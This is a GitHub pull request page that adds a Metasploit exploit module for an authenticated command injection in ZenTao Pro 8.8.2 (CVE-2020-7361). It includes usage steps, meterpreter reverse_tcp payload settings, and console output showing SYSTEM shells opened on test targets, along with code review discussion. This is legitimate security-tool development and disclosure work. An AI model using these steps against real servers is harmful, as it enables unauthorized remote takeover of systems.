

New issue

Jump to bottom

# Add ZenTao Pro 8.8.2 Remote Code Execution module and docs #13828

Merged space-r7 merged 8 commits into rapid7:master from ErikWynter:zentao\_pro\_rce on Jul 22, 2020

Conversation 23 Commits 8 Checks 0 Files changed 2



ErikWynter commented on Jul 8, 2020

Contributor

## About

This change adds a new module to /modules/exploits/windows/http/ that exploits a command injection vulnerability in ZenTao Pro 8.8.2 and earlier versions in order to execute arbitrary commands with SYSTEM privileges. The change also adds documentation for this module. The module is based on this PoC: <https://www.exploit-db.com/exploits/48633>. Because the issue has not been assigned a CVE yet, I contacted the researchers who published the PoC. They said that they disclosed the issue over a month ago, but that the client failed to understand the severity of problem and has not taken any steps to address it. I have also personally informed the vendor about the issue and about the existence of the PoC exploit earlier this week.

## Vulnerable system

ZenTao Pro versions 8.8.1 and 8.8.2 (confirmed) and likely earlier versions as well.

## Verification Steps

1. Install the module as usual
2. Start msfconsole
3. Do: use exploit/windows/http/zentao\_pro\_rce
4. Do: set RHOSTS [IP]
5. Do: set USERNAME [username for the ZenTao Pro account]
6. Do: set PASSWORD [password for the ZenTao Pro account]
7. Do: set RHOSTS [IP]
8. Do: set payload [payload]
9. Do: set LHOST [IP]
10. Do: exploit

## Options

### PASSWORD

The password for the ZenTao Pro account to authenticate with. This option is required.

### TARGETPATH

The path on the target where commands will be executed. The default value is c:\.

### TARGETURI

The base path to ZenTao Pro. The default value is /pro/.

### USERNAME

The username for the ZenTao Pro account to authenticate with. This option is required.

## Targets

Id	Name
0	Windows (x86)
1	Windows (x64)

## Scenarios

### ZenTao 8.8.2 running on Windows 10 (XAMPP server)

```
msf5 exploit(windows/http/zentao_pro_rce) > show options
```

Module options (exploit/windows/http/zentao\_pro\_rce):

Name	Current Setting	Required	Description
PASSWORD	zentao123	yes	Password to authenticate with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	192.168.9.14	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file: <path>'
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TARGETPATH	C:\	yes	The path on the target where commands will be executed
TARGETURI	/pro/	yes	The base path to ZenTao

```
URIPATH      no      The URI to use for this exploit (default is random)
USERNAME     admin    yes     Username to authenticate with
VHOST        no      HTTP server virtual host
```

Payload options (windows/x64/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.1.12	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
1	Windows (x64)

msf5 exploit(windows/http/zentao\_pro\_rce) > run

```
[*] Started reverse TCP handler on 192.168.1.12:4444
[+] Successfully authenticated to ZenTao 8.8.2.
[*] Executing the payload...
[*] Command Stager progress - 20.97% done (2049/9770 bytes)
[*] Command Stager progress - 41.94% done (4098/9770 bytes)
[*] Command Stager progress - 62.92% done (6147/9770 bytes)
[*] Command Stager progress - 83.89% done (8196/9770 bytes)
[*] Command Stager progress - 100.15% done (9785/9770 bytes)
[*] Sending stage (201283 bytes) to 192.168.9.14
[*] Meterpreter session 1 opened (192.168.1.12:4444 -> 192.168.9.14:50506) at 2020-07-08 15:01:22 -0400
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

  Add zentao\_pro\_rce Windows exploit and docs

✓ 1f631e2

  ErikWynter mentioned this pull request on Jul 8, 2020

**ZenTao Pro 8.8.2 - Command Injection #13815**

 Closed

ErikWynter commented on Jul 8, 2020 • edited

Contributor Author

## Notes

- Vulnerable software for testing can be downloaded here: <https://www.zentao.pm/download.html> and here: <https://sourceforge.net/projects/zentao/>
- Since the vendor doesn't seem to plan to address this issue, it is likely that versions after 8.8.2 will continue being vulnerable until they finally change something that breaks the module.

gwillcox-r7 commented on Jul 8, 2020

Contributor

@kalba-security Thanks for your contribution, it looks good, however a quick scan of the documentation shows that you haven't provided instructions on how to install the software. Can you please update the documentation with these instructions and then we can look at getting someone to take a look at reviewing this PR further?

ErikWynter commented on Jul 8, 2020

Contributor Author

@gwillcox-r7 sure! That's actually super easy in this case. I didn't know this information should also be added to the docs. Is this a new requirement? Because I didn't add it for any of my previous modules and no one ever mentioned it.

 ErikWynter added 2 commits 2 years ago

  Add installation instructions to docs

470a0c9

  Fix linting

✓ 6c4f975

  space-r7 added docs module labels on Jul 8, 2020

gwillcox-r7 commented on Jul 8, 2020 • edited

Contributor

@gwillcox-r7 sure! That's actually super easy in this case. I didn't know this information should also be added to the docs. Is this a new requirement? Because I didn't add it for any of my previous modules and no one ever mentioned it.

Huh that's odd no one mentioned it before. Generally we try provide setup instructions wherever possible. I guess you could say it is a bit of a push on my part cause we have had some issues with recent modules not having enough documentation to test and then this leads to a lot of extra back and forth between the contributor and our team.

So in a TLDR: it depends on the module but we are pushing for it (at least I am) more often these days, so probably a good habit to get into :)

ErikWynter commented on Jul 8, 2020

Contributor Author

Yeah that's definitely fair. I know finding and installing vulnerable apps can be far from straightforward. I mean I've struggled with that plenty of times when investigating PoCs. So I will make sure to start adding this info from now on!

 1



space-r7 reviewed on Jul 13, 2020

[View changes](#)



space-r7 left a comment

Contributor

Hey @kalba-security, thank you for the module! I don't really have many suggestions other than opting to use `AutoCheck` instead of the `ForceExploit` advanced option. Thanks!

modules/exploits/windows/http/zentao\_pro\_rce.rb Outdated

Show resolved

modules/exploits/windows/http/zentao\_pro\_rce.rb Outdated

Show resolved

documentation/modules/exploit/windows/http/zentao\_pro\_rce.md Outdated

Show resolved

Add suggestions from code review

2d3588c

ErikWynter commented on Jul 13, 2020

Contributor

Author

Thanks @space-r7! I just added `AutoCheck` :)



space-r7 self-assigned this on Jul 15, 2020

space-r7 commented on Jul 15, 2020

Contributor

Thanks, I'll try to get an environment set up to test against today!

space-r7 commented on Jul 15, 2020

Contributor

Hey @todb-r7, would you be able to help with getting a CVE assigned for this? Thank you!

todb-r7 commented on Jul 15, 2020

Contributor

@space-r7 sure thing! Use [CVE-2020-7361](#).



1

Add [CVE-2020-7361](#) reference

637b9ab

space-r7 commented on Jul 15, 2020

Contributor

@space-r7 sure thing! Use [CVE-2020-7361](#).

Thank you!

remove `CheckCode` returns in login

9c32b45

space-r7 commented on Jul 15, 2020

Contributor

Hey @kalba-security, I just submitted a pr (<https://github.com/kalba-security/metasploit-framework/pull/2>) to your branch that's mostly related to the `login()` method. Please let me know if that works for you. Thanks!

ErikWynter commented on Jul 16, 2020

Contributor

Author

Thanks, I will try to have a look at this tomorrow.



ErikWynter added 2 commits 2 years ago

Update `zentao_pro_rce.rb`

368adc2

Merge pull request #2 from space-r7/zentao-pro-changes

7981672

ErikWynter commented on Jul 17, 2020 • edited

Contributor

Author

I just merged your PR @space-r7. The changes worked all fine for the x64 target, but I was unable to get a shell with x86 until I added `cmd << ' &&'` back at the top of the exploit module. Kind of weird, but I put that line back for now to be on the safe side. For me it works with both targets now. You are welcome to test this issue yourself of course. Btw, I won't be able to work on this at all next week, so if you feel like moving forward with this one, please feel free to make any additional changes you think are needed before landing it. :)



1



bcoles reviewed on Jul 17, 2020

[View changes](#)

modules/exploits/windows/http/zentao\_pro\_rce.rb

174 + 'cookie' => @cookie,

175 + 'headers' => {  
176 + 'Accept' => 'application/json, text/javascript, \*/\*; q=0.01',  
177 + 'Referer' => "http://#{datastore['RHOSTS']}#{normalize\_uri(target\_uri.path, 'user-login.html')}",

bcoles on Jul 17, 2020 • edited ▾

Contributor

HTTP modules *should* be able to access peer which represents "#{rhost}#{port}" .  
  
If this works, it would be preferred to using datastore['rhosts'] which probably (maybe?) returns an array, with the added benefit that it also uses the correct port.  
  
Arguable, the string should also be constructed taking into account the use of SSL. #{ssl? ? 'https' : 'http'}

modules/exploits/windows/http/zentao\_pro\_rce.rb

71 +  
72 + register\_options [  
73 + OptString.new('TARGETURI', [true, 'The base path to ZenTao', '/pro/']),  
74 + OptString.new('TARGETPATH', [true, 'The path on the target where commands will be executed', 'C:\\']),

bcoles on Jul 17, 2020

Contributor

Is there a reason to use the root directory rather than a temp directory?

modules/exploits/windows/http/zentao\_pro\_rce.rb

64 + }  
65 + ]  
66 + ],  
67 + 'DefaultTarget' => 1,

bcoles on Jul 17, 2020

Contributor

Is there a reason to default to x64 targets? x64 system are significantly more common than x86, but x86 payloads should work on x64, and this module does not appear to contain any arch-dependent logic, implying that x86 would be the better option.

documentation/modules/exploit/windows/http/zentao\_pro\_rce.md

23 + 1. Install the module as usual  
24 + 2. Start msfconsole  
25 + 3. Do: `use exploit/windows/http/zentao\_pro\_rce`  
26 + 4. Do: `set RHOSTS [IP]`  
27 + 5. Do: `set USERNAME [username for the ZenTao Pro account]`  
28 + 6. Do: `set PASSWORD [password for the ZenTao Pro account]`  
29 + 7. Do: `set RHOSTS [IP]`  
30 + 8. Do: `set payload [payload]`  
31 + 9. Do: `set LHOST [IP]`  
32 + 10. Do: `exploit`

bcoles on Jul 17, 2020

Contributor

rhosts set twice.

Suggested change ⓘ

23 - 1. Install the module as usual  
24 - 2. Start msfconsole  
25 - 3. Do: `use exploit/windows/http/zentao\_pro\_rce`  
26 - 4. Do: `set RHOSTS [IP]`  
27 - 5. Do: `set USERNAME [username for the ZenTao Pro account]`  
28 - 6. Do: `set PASSWORD [password for the ZenTao Pro account]`  
29 - 7. Do: `set RHOSTS [IP]`  
30 - 8. Do: `set payload [payload]`  
31 - 9. Do: `set LHOST [IP]`  
32 - 10. Do: `exploit`  
23 + 1. Install the module as usual  
24 + 2. Start msfconsole  
25 + 3. Do: `use exploit/windows/http/zentao\_pro\_rce`  
26 + 4. Do: `set RHOSTS [IP]`  
27 + 5. Do: `set USERNAME [username for the ZenTao Pro account]`  
28 + 6. Do: `set PASSWORD [password for the ZenTao Pro account]`  
29 + 7. Do: `set payload [payload]`  
30 + 8. Do: `set LHOST [IP]`  
31 + 9. Do: `exploit`

space-r7 added a commit that referenced this pull request on Jul 22, 2020

Land #13828, add Zentao Pro rce

✓ bf4d0bf

space-r7 merged commit 7981672 into rapid7:master on Jul 22, 2020  
3 checks passed

[View details](#)

space-r7 commented on Jul 22, 2020

Made remaining changes in 6c066a9 .

Test output:

```
Module options (exploit/windows/http/zentao_pro_rce):
```

Name	Current Setting	Required	Description
PASSWORD	P@ssw0rd	yes	Password to authenticate with
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	172.16.215.138	yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	80	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL/TLS for outgoing connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
TARGETPATH	C:\Windows\Temp	yes	The path on the target where commands will be executed
TARGETURI	/pro/	yes	The base path to ZenTao
URIPATH		no	The URI to use for this exploit (default is random)
USERNAME	admin	yes	Username to authenticate with
VHOST		no	HTTP server virtual host

Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
EXITFUNC	process	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	172.16.215.1	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

```
Id  Name
--  ---
0   Windows (x86)
```

```
msf5 exploit(windows/http/zentao_pro_rce) > run
```

[illegible]

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer      : DESKTOP-AQT4EG1
OS            : Windows 10 (10.0.17134)
Architecture : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
```

Release Notes

New exploit module `exploits/windows/http/zentao_pro_rce` targets Zentao Pro versions 8.8.2 and below, achieving SYSTEM privileges by exploiting an authenticated command injection vulnerability ([CVE-2020-7361](#)).

1

1

1

**pbarry-r7** added the `rn-modules` label on Aug 5, 2020

**ErikWynter** deleted the `zentao_pro_rce` branch 2 years ago

Reviewers

- bcoles**
- space-r7**



Assignees

- space-r7**

Labels

`docs` `module` `rn-modules`

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

None yet

6 participants

